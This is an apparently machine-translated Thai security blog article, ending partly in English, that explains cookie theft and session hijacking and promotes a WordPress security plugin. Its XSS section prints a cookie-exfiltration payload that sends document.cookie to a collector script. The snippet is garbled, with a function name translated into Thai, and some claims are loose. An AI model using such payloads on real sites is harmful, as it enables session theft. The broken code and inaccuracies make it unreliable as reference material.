วิธีการป้องกันการขโมยคุกกี้และการจี้เซสชัน (คำแนะนำที่ง่ายที่สุด)

คุณรู้หรือไม่ว่าเว็บไซต์ของคุณใช้คุกกี้เพื่อเก็บข้อมูลที่เป็นความลับ? คุณรู้หรือไม่ว่าแฮกเกอร์สามารถขโมยคุกกี้ของคุณได้อย่างง่ายดาย? ซึ่งอาจทำให้เว็บไซต์และผู้เยี่ยมชมของคุณมีความเสี่ยง!

คุกกี้จัดเก็บข้อมูลทุกประเภท ตั้งแต่การตั้งค่าโฆษณาของลูกค้าไปจนถึงข้อมูลรับรองการเข้าสู่ระบบและข้อมูลบัตรเครดิต มีการใช้คุกกี้กันอย่างแพร่หลายในอินเทอร์เน็ต และน่ากลัวว่าจะถูกขโมยบ่อยเพียงใด

หากคุณตกเป็นเหยื่อของการขโมยคุกกี้หรือการจี้เซสชัน ผลกระทบที่ตามมาจะร้ายแรง คุณไม่เพียงสูญเสียรายได้และความไว้วางใจจากผู้เข้าชมของคุณเท่านั้น แต่คุณยังต้องเผชิญกับปัญหาทางกฎหมายและค่าปรับจำนวนมาก!

แต่ไม่ต้องกังวลไป เพราะวันนี้ เราจะพาคุณผ่านทุกสิ่งที่คุณจำเป็นต้องรู้เพื่อป้องกันการโจมตีเหล่านี้!

ในคู่มือนี้ เราจะเรียนรู้วิธีที่แฮ็กเกอร์ขโมยคุกกี้ก่อน จากนั้นจึงดำเนินการตามมาตรการป้องกัน

TL;DR : กังวลเกี่ยวกับเว็บไซต์ WordPress ของคุณหรือไม่? คุณสามารถรักษาความปลอดภัยให้กับเว็บไซต์ของคุณได้ทันทีโดยติดตั้ง Session Hijacking &Cookie Stealing Protection Plugin . มันจะสแกนเว็บไซต์ของคุณเป็นประจำและเตือนคุณหากแฮ็กเกอร์แทรกโค้ดที่เป็นอันตรายใด ๆ ที่จะช่วยให้พวกเขาสามารถขโมยคุกกี้ได้ เมื่อใช้ปลั๊กอิน คุณสามารถล้างข้อมูลการแฮ็กได้ทันทีและหลีกเลี่ยงผลกระทบ

สารบัญ

→ การขโมยคุกกี้คืออะไร?

→ แฮกเกอร์ใช้ Cross-site Scripting (XSS) เพื่อขโมยคุกกี้ &Hijack Sessions อย่างไร?

→ วิธีการป้องกันการขโมยคุกกี้และการจี้เซสชัน?

→ ขั้นตอนที่ผู้เข้าชมเว็บไซต์สามารถต่อต้านการขโมยคุกกี้ได้

การขโมยคุกกี้คืออะไร

เท่าที่เราต้องการ การขโมยคุกกี้ไม่ง่ายเหมือนที่เด็กเอามือใส่โถคุกกี้! เป็นกระบวนการที่ซับซ้อนและเพื่อให้เข้าใจว่าเกิดอะไรขึ้น เราต้องพูดถึงพื้นฐาน

→ คุกกี้คืออะไร

คุณสามารถคิดว่าคุกกี้เป็นเพียงข้อมูลเล็กๆ น้อยๆ มันเก็บข้อมูลเกี่ยวกับการโต้ตอบของคุณกับเว็บไซต์ ตัวอย่างเช่น ไซต์อีคอมเมิร์ซต้องการติดตามการเดินทางของลูกค้า – ผลิตภัณฑ์ที่ค้นหา ผลิตภัณฑ์ที่ซื้อ รายการละทิ้งในรถเข็น หรือหน้าที่พวกเขาเข้าชม

ข้อมูลนี้จะให้ข้อมูลวิเคราะห์ของร้านค้าว่าลูกค้าต้องการอะไร หน้าใดที่มีการเข้าชมมากที่สุด ผู้ใช้อยู่ในหน้าเว็บนั้นนานเท่าใด ฯลฯ จากนั้นพวกเขาจะใช้ข้อมูลนี้เพื่อปรับแต่งสิ่งที่แสดงบนเว็บไซต์ ตามความต้องการของลูกค้า

คุกกี้ช่วยให้เจ้าของเว็บไซต์เข้าใจถึงสิ่งที่ใช้ได้ผลและไม่ได้ผล ซึ่งช่วยให้พวกเขาทราบสิ่งที่ต้องการเปลี่ยนแปลงหรือปรับปรุงในเว็บไซต์ของตน

คุกกี้ยังใช้เพื่อแสดงโฆษณาที่เกี่ยวข้องกับผู้ใช้อีกด้วย เมื่อคุณเยี่ยมชมเว็บไซต์ คุณจะสังเกตเห็นว่ามีการแสดงโฆษณา

โฆษณาเหล่านี้มักจะสะท้อนถึงประวัติการค้นหาล่าสุดของคุณ ตัวอย่างเช่น หากคุณค้นหา "แล็ปท็อป" บน Google คุณจะสังเกตเห็นว่าโฆษณาในเว็บไซต์ทั้งหมดแสดงโฆษณาสำหรับ Dell แก่คุณ โฆษณาเหล่านี้ไม่ได้เป็นส่วนหนึ่งของเว็บไซต์แต่ได้รับการจัดการโดยบริการต่างๆ เช่น Google Adsense

คุกกี้ช่วยให้ทั้งเจ้าของเว็บไซต์และผู้ใช้สะดวกขึ้น สามารถเพิ่มการมีส่วนร่วมและนำไปสู่ยอดขายที่เพิ่มขึ้นซึ่งเหมาะสำหรับเจ้าของเว็บไซต์ สำหรับผู้ซื้อ คุกกี้ช่วยให้พวกเขาได้รับประสบการณ์ที่เป็นส่วนตัวมากขึ้นบนเว็บไซต์หรือเห็นโฆษณาที่มีความเกี่ยวข้องมากขึ้น

แต่มีข้อเสียมากมายที่เราจะพูดถึงในภายหลัง

[กลับไปด้านบน↑]

→ เซสชันของเบราว์เซอร์และรหัสเซสชันคืออะไร

เมื่อคุณลงชื่อเข้าใช้เว็บไซต์ จะมีการสร้างเซสชันระหว่างคอมพิวเตอร์ของคุณกับเว็บไซต์นี้

ตัวอย่างเช่น เมื่อคุณเข้าสู่ระบบ Facebook เซสชันจะเริ่มต้นขึ้น วิธีนี้ช่วยให้คุณใช้ Facebook ต่อไปได้ (แม้ว่าคุณจะปิดและเปิดเว็บเบราว์เซอร์อีกครั้ง) จนกว่าคุณจะคลิก "ออกจากระบบ" และสิ้นสุดเซสชัน

หากไม่ได้สร้างเซสชัน คุณจะต้องลงชื่อเข้าใช้ทุกครั้ง คุณต้องการข้อมูลใหม่ ตัวอย่างเช่น หากคุณต้องการออกจากฟีดข่าว Facebook และดูหน้าโปรไฟล์ของเพื่อน คุณจะออกจากระบบ Facebook และจะต้องป้อนข้อมูลประจำตัวของคุณอีกครั้งเพื่อเข้าสู่ระบบและดูโปรไฟล์ของเพื่อน

นี่คือเหตุผลที่จำเป็นต้องมีเซสชัน มันช่วยให้คุณเข้าสู่ระบบเพื่อให้คุณสามารถเรียกดูหน้าเว็บต่างๆ และนำทางเว็บไซต์ต่อไปได้

สิ่งสำคัญที่ควรทราบที่นี่คือทุกเซสชั่นสร้างชุดของคุกกี้ เราสามารถเรียกคุกกี้เซสชั่นเหล่านี้ และคุกกี้แต่ละเซสชันจะมีรหัสเซสชันที่ไม่ซ้ำกัน

เว็บไซต์ใช้รหัสนี้เพื่อตรวจสอบสิทธิ์ผู้ใช้และสร้างการเชื่อมต่อที่เชื่อถือได้

ตัวอย่างเช่น ในการเข้าสู่ระบบ Facebook คุณต้องป้อนชื่อผู้ใช้และรหัสผ่านของคุณ ถัดไป เซสชันจะถูกสร้างขึ้นด้วย ID ที่ไม่ซ้ำ คำขอใดๆ ที่คุณส่งไปยังเว็บไซต์ Facebook จะได้รับการตรวจสอบสิทธิ์ด้วย ID นี้ ดังนั้น เมื่อคุณต้องการดูเพจอื่น คุณจะต้องส่งคำขอไปยังเซิร์ฟเวอร์ Facebook เพื่อแสดงเพจนั้น Facebook ตรวจสอบ ID และแสดงเนื้อหาที่คุณต้องการดู

ตอนนี้ แฮกเกอร์สามารถจี้เซสชันของคุณและใช้การเชื่อมต่อที่เชื่อถือได้นี้ในทางที่ผิด พวกเขาสามารถส่งคำขอที่เป็นอันตรายในนามของคุณได้ มาดูกันว่าเป็นอย่างไร

[กลับไปด้านบน↑]

→ ความกังวลด้านความปลอดภัยเกี่ยวกับคุกกี้มีอะไรบ้าง

เมื่อมีการสร้างคุกกี้ มีเพียงคุณเท่านั้นที่สามารถดูคุกกี้ได้ - เจ้าของเว็บไซต์ ไม่มีเว็บไซต์อื่นใดที่สามารถดูคุกกี้ของคุณได้ เป็นของคุณแต่เพียงผู้เดียว

แต่คุกกี้เหล่านี้เดินทางผ่านอินเทอร์เน็ต ใช้งานโดยบริการโฆษณาและบริการวิเคราะห์ ดังนั้นคุกกี้เหล่านี้จึงเด้งไปมาจากเซิร์ฟเวอร์หนึ่งไปยังอีกเซิร์ฟเวอร์หนึ่งทั่วโลก หากการเชื่อมต่อไม่ปลอดภัย แฮ็กเกอร์สามารถสกัดกั้นและขโมยคุกกี้เหล่านี้ได้อย่างง่ายดาย

ตอนนี้ คุณอาจคิดว่าถ้าแฮ็กเกอร์จัดการเพื่อให้ได้ข้อมูลเกี่ยวกับการตั้งค่าการช้อปปิ้งของคุณเป็นเรื่องใหญ่ใช่ไหม

ปัญหาคือคุกกี้ที่เก็บไว้มากกว่าแค่ข้อมูลเกี่ยวกับการตั้งค่าการช้อปปิ้งของคุณ นอกจากนี้ยังจัดเก็บรายละเอียดธนาคารและข้อมูลส่วนบุคคล เช่นที่อยู่จัดส่งและรายละเอียดการติดต่อของคุณ

หากข้อมูลประเภทนี้ตกไปอยู่ในมือของผู้อื่น อาจถูกนำไปใช้ในทางที่ผิดสำหรับกิจกรรมฉ้อโกง

วิธีหนึ่งที่พบบ่อยที่สุดที่แฮ็กเกอร์ขโมยคุกกี้คือหากพวกเขาใช้ wifi เดียวกันกับคุณ การแฮ็ก wifi ประเภทนี้เรียกว่าการโจมตีแบบ man-in-the-middle และสามารถเกิดขึ้นได้ก็ต่อเมื่อทั้งคู่เชื่อมต่อกับเครือข่ายไร้สายเดียวกัน ด้วยเหตุนี้จึงแนะนำให้อย่าใช้ wifi สาธารณะ ที่ไม่มีหลักประกันหรือใช้โดยคนจำนวนมาก สิ่งนี้สามารถเกิดขึ้นได้กับผู้ใช้ภายในเครือข่ายคอมพิวเตอร์เครื่องเดียวกัน

วิธีอื่นๆ อีกสองสามวิธีรวมถึงการดมกลิ่นแพ็กเก็ตและการใช้ประโยชน์จากช่องโหว่ที่เรียกว่าสคริปต์ข้ามไซต์ วันนี้เราจะแสดงรายละเอียดว่าการขโมยคุกกี้ XSS ทำงานอย่างไร

[กลับไปด้านบน↑]

แฮ็กเกอร์ใช้ Cross-site Scripting (XSS) เพื่อขโมยคุกกี้และเซสชันการจี้อย่างไร

เพื่อแสดงให้คุณเห็นว่าแฮกเกอร์ขโมยคุกกี้โดยใช้การโจมตีแบบ cross-site scripting (XSS) ได้อย่างไร เราจะใช้ตัวอย่าง สมมติว่าคุณเยี่ยมชมเว็บไซต์ที่มีส่วนความคิดเห็น

ความคิดเห็นใดๆ ของคุณจะถูกส่งไปยังฐานข้อมูลของเว็บไซต์ ตามหลักการแล้ว ควรกำหนดค่าส่วนความคิดเห็นนี้ให้ยอมรับเฉพาะข้อความในภาษาอังกฤษธรรมดาเท่านั้น แต่ถ้ายอมรับอักขระพิเศษด้วย จะทำให้ XSS เสี่ยง

แฮ็กเกอร์สามารถป้อนรหัสที่เป็นอันตรายของตนเองซึ่งจะถูกส่งไปยังฐานข้อมูล เมื่อเข้าไปข้างในแล้ว รหัสจะถูกดำเนินการ มีโค้ดจำนวนมากที่แฮ็กเกอร์สามารถแทรกเข้าไปในเว็บไซต์เพื่อเรียกใช้กิจกรรมที่เป็นอันตรายได้ทุกประเภท เช่น การสร้างผู้ดูแลเว็บไซต์ใหม่หรือการขโมยคุกกี้

ในการขโมยคุกกี้ แฮ็กเกอร์สามารถป้อนรหัสต่อไปนี้:

หมายเหตุ:นี่ไม่ใช่บทแนะนำเกี่ยวกับวิธีการขโมยคุกกี้ บทความนี้จัดทำขึ้นเพื่อให้เจ้าของเว็บไซต์ทราบว่าแฮกเกอร์สามารถขโมยคุกกี้ได้อย่างไร เราไม่แนะนำให้คุณดำเนินกิจกรรมที่ผิดกฎหมาย

[php]

document.write('<img src=&amp amp;amp;amp;quot;https://localhost/submitcookie.php? cookie ='

+ หนี (document.cookie) + '" />);

[/php]

ในส่วนความคิดเห็น รหัสนี้จะปรากฏเป็นรูปภาพ หากคุณ (ในฐานะผู้เยี่ยมชม) คลิกที่ภาพ คุณจะเห็นรูปภาพปรากฏขึ้น แต่มีมากกว่าแค่เกิดขึ้น

เมื่อคุณคลิกที่รูปภาพ ไฟล์ PHP นี้จะรันโค้ดอย่างเงียบๆ และคว้าคุกกี้เซสชันและ ID เซสชันของคุณ

ตอนนี้แฮ็กเกอร์สามารถสร้างเซสชันของคุณและโพสท่าเหมือนคุณบนเว็บไซต์นั้นได้ พวกเขาสามารถดำเนินการที่เป็นอันตรายมากมาย ตัวอย่างเช่น หากคุกกี้ของคุณมีบัตรเครดิตหรือข้อมูลการชำระเงินอื่น ๆ พวกเขาสามารถทำการซื้อได้

โชคดีที่มีมาตรการป้องกันเพื่อปกป้องเจ้าของเว็บไซต์และผู้เยี่ยมชมจากการแฮ็กเหล่านี้

[กลับไปด้านบน↑]

จะป้องกันการขโมยคุกกี้และการจี้เซสชันได้อย่างไร

มีสองฝ่ายที่มีบทบาทในการป้องกันการขโมยคุกกี้และการจี้เซสชัน - เจ้าของเว็บไซต์และผู้เยี่ยมชม เราจะหารือเกี่ยวกับมาตรการป้องกันทั้งสองฝ่าย

→ มาตรการที่เจ้าของเว็บไซต์สามารถต่อต้านการขโมยคุกกี้ได้

ในฐานะเจ้าของเว็บไซต์ หากคุณไม่มีนักวิเคราะห์ด้านความปลอดภัยที่จะจัดการให้คุณ คุณต้องใช้มาตรการป้องกันต่อไปนี้:

1. ติดตั้งใบรับรอง SSL

ข้อมูลจะถูกถ่ายโอนอย่างต่อเนื่องระหว่างเบราว์เซอร์ของผู้ใช้และเว็บเซิร์ฟเวอร์ของคุณ หากไม่มี SSL ข้อมูล (คุกกี้) นี้จะถูกส่งเป็นข้อความธรรมดา หากแฮ็กเกอร์ดักจับข้อมูลนี้ พวกเขาก็สามารถอ่านได้ ดังนั้นหากมีข้อมูลรับรองการเข้าสู่ระบบ ข้อมูลนั้นจะถูกเปิดเผย

SSL (Secure Sockets Layer) จะเข้ารหัสข้อมูลก่อนที่จะถ่ายโอน ดังนั้นแม้ว่าแฮ็กเกอร์จะขโมยข้อมูลได้ แต่ก็ไม่สามารถอ่านข้อมูลได้

คุณสามารถรับใบรับรอง SSL ผ่านบริษัทเว็บโฮสติ้งของคุณหรือจากผู้ให้บริการ SSL คุณยังสามารถรับใบรับรอง SSL พื้นฐานฟรีจาก Let's Encrypt

2. ติดตั้งปลั๊กอินความปลอดภัย

เก็บ ปลั๊กอินความปลอดภัย WordPress เช่น MalCare ที่ใช้งานบนเว็บไซต์ของคุณ ไฟร์วอลล์ของปลั๊กอินจะป้องกันการพยายามแฮ็คบนเว็บไซต์ของคุณและบล็อกที่อยู่ IP ที่เป็นอันตราย นอกจากนี้ มันจะสแกนไซต์ของคุณเป็นประจำและแจ้งเตือนคุณหากมีการป้อนรหัสที่เป็นอันตรายโดยแฮ็กเกอร์ คุณสามารถทำความสะอาดเว็บไซต์ของคุณได้ทันที ซึ่งจะช่วยให้คุณตรวจจับและลบความพยายามในการแฮ็กดังกล่าวได้ทันทีก่อนที่จะก่อให้เกิดอันตราย

3. อัปเดตเว็บไซต์ของคุณ

ทำให้เว็บไซต์ของคุณทันสมัยอยู่เสมอ ซึ่งรวมถึงการติดตั้ง WordPress ธีม และปลั๊กอิน การทำงานบนซอฟต์แวร์ที่ล้าสมัยจะเป็นการเปิดจุดอ่อนจำนวนมากบนเว็บไซต์ของคุณ ซึ่งแฮกเกอร์สามารถใช้ประโยชน์ได้ ตรวจสอบให้แน่ใจว่าคุณอัปเดตไซต์ของคุณเมื่อมีการอัปเดตใหม่

การอัปเดตเหล่านี้ไม่เพียงแต่มีคุณสมบัติใหม่และการแก้ไขข้อบกพร่อง แต่ยังแก้ไขข้อบกพร่องด้านความปลอดภัยเป็นครั้งคราว

4. ทำให้เว็บไซต์ของคุณแข็งแกร่ง

WordPress.org ขอแนะนำมาตรการเสริมความแข็งแกร่งให้กับเว็บไซต์ที่คุณควรใช้บนเว็บไซต์ของคุณ ซึ่งรวมถึงการใช้ชื่อผู้ใช้และรหัสผ่านที่รัดกุมและไม่ซ้ำใคร การบล็อกการทำงานของ PHP ในโฟลเดอร์ที่ไม่รู้จัก การปิดใช้งานโปรแกรมแก้ไขไฟล์ในธีมและปลั๊กอิน และอื่นๆ ในตอนนี้ ทั้งหมดนี้อาจฟังดูคล้ายกับศัพท์แสงสำหรับคุณ เราจึงได้สร้างคำแนะนำทีละขั้นตอนอย่างละเอียดเกี่ยวกับ WordPress Hardening ซึ่งคุณสามารถปฏิบัติตามได้

[กลับไปด้านบน↑]

ขั้นตอนที่ผู้เข้าชมเว็บไซต์สามารถต่อต้านการขโมยคุกกี้ได้

ในฐานะผู้เยี่ยมชมเว็บไซต์ คุณไม่จำเป็นต้องเชื่ออย่างสุ่มสี่สุ่มห้าว่าเว็บไซต์ได้ใช้มาตรการรักษาความปลอดภัยที่เหมาะสม คุณป้องกันตัวเองได้ด้วยโปรโตคอลความปลอดภัยเว็บต่อไปนี้

1. ติดตั้งโปรแกรมป้องกันไวรัสที่มีประสิทธิภาพ

ตรวจสอบให้แน่ใจว่าอุปกรณ์ที่คุณใช้เพื่อเข้าถึงอินเทอร์เน็ตมีซอฟต์แวร์ป้องกันมัลแวร์ติดตั้งอยู่ การดำเนินการนี้จะแจ้งเตือนคุณหากตรวจพบมัลแวร์เมื่อคุณเยี่ยมชมเว็บไซต์ที่เป็นอันตราย นอกจากนี้ยังจะลบมัลแวร์ที่คุณอาจดาวน์โหลดหรือติดตั้งในระบบของคุณโดยไม่ได้ตั้งใจ

2. อย่าคลิกลิงก์ที่น่าสงสัย

แฮกเกอร์กำหนดเป้าหมายผู้ใช้ผ่านส่วนความคิดเห็นบนเว็บไซต์และทางอีเมล หลีกเลี่ยงการคลิกลิงก์ที่ไม่น่าเชื่อถือ โดยเฉพาะลิงก์ที่ล่อใจคุณด้วยข้อเสนอหรือส่วนลดที่น่าสนใจ

3. หลีกเลี่ยงการจัดเก็บข้อมูลที่ละเอียดอ่อน

การจัดเก็บข้อมูลบัตรเครดิตบนเว็บไซต์ช้อปปิ้งทำให้การชำระเงินรวดเร็วและสะดวกยิ่งขึ้น การบันทึกรหัสผ่านบนเว็บเบราว์เซอร์ เช่น Google Chrome เพื่อลงชื่อเข้าใช้เว็บไซต์โดยอัตโนมัติ ทำให้ไม่จำเป็นต้องจำรหัสผ่าน!

แต่ทั้งหมดนี้มีความเสี่ยงสูงที่จะถูกขโมย ทางที่ดีไม่ควรจัดเก็บข้อมูลที่ละเอียดอ่อนบนเว็บไซต์ อาจช่วยคุณประหยัดเวลาไม่กี่วินาที แต่ก็ทำให้คุณเสี่ยงต่อการถูกโจมตี

4. ล้างคุกกี้

You can clear your cookies regularly to get rid of any sensitive information stored in browsers like Google Chrome. Access History> Clear Browsing History. Here, tick the checkbox ‘Cookies and other site data’.

Choose the time range ‘All Time’ or one that is according to your preference. Next, click ‘Clear data’ and the cookies will be deleted from your browser’s history.

That brings us to an end to cookie stealing. We hope this article has helped you gain a better understanding of what exactly happens and how to prevent it.

[กลับไปด้านบน↑]

ความคิดสุดท้าย

As a website owner, you need to take protective measures to secure your own interests as well as your visitors, clients, and customers. But we understand that setting up a website and managing it is a hard task.

There is an endless number of things to take care of which is why WordPress security tends to take a backseat many times.

But ignoring the security aspect of your website can prove to be disastrous to all your other efforts.

An easy, quick and efficient solution is the MalCare security plugin. You can think of it as a security guard that you hire. It will work round the clock to regularly scan your website and protect it from attacks. You can rest assured that your website is in safe hands.

Keep your WordPress site protected with MalCare !